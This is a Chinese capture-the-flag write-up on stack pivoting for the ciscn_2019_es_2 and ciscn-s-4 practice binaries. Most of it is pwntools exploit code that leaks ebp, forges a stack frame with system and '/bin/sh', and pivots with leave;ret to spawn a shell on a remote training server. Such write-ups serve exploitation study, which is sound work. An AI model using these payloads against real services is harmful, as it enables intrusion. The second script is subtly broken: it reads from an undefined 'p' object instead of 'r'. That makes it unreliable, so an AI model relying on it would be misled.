ciscn_2019_es_2(栈迁移)

碰到一个栈迁移的题目仔细记录一下

ciscn_2019_es_2

  1. 先用IDA打开
    1

​ 但是它有两个read,于是我们可以利用第一个泄露ebp的内容,利用第二个进行栈迁移,通过system函数执行/bin/sh

 
1
2
3
4
5
6
7
8
9
from pwn import *
r = process('./pwn')
#r = remote("node5.buuoj.cn", 25271)
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
r.interactive()

​ 2. 动态调试找到s到ebp的距离,先在main的nop下断点

2

3

4

s和ebp的距离是0x38

5

当恢复ebp的备份时,这个备份恰好比原来多了0x10

  1. 栈偏移一般用leave和ret

    1
    2
    3
    4
    5
    leave:
    move esp ebp 将ebp指向的地址给esp
    pop ebp 将esp指向的地址存放的值赋值给ebp
    ret:
    pop eip 将esp指向的地址存放的值赋值给eip

    构造payload2

    1
    2
    3
    4
    5
    6
    7
    8
    payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
    payload2 += p32(system) #接上system的地址
    payload2 += b'aaaa' #system的返回地址
    payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
    payload2 += b'/bin/sh'
    payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
    payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
    payload2 += p32(leave_ret)

    可以用ROP获取leave_ret的地址
    6

​ 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
python
from pwn import *
#r = process('./pwn')
r = remote("node5.buuoj.cn", 27539)
leave_ret = 0x080484b8
system = 0x8048400
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
payload2 += p32(system) #接上system的地址
payload2 += b'aaaa' #system的返回地址
payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
payload2 += b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
payload2 += p32(leave_ret)
r.sendline(payload2)
r.interactive()

得到flag
7

ciscn-s-4

和ciscn_2019_es_2一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()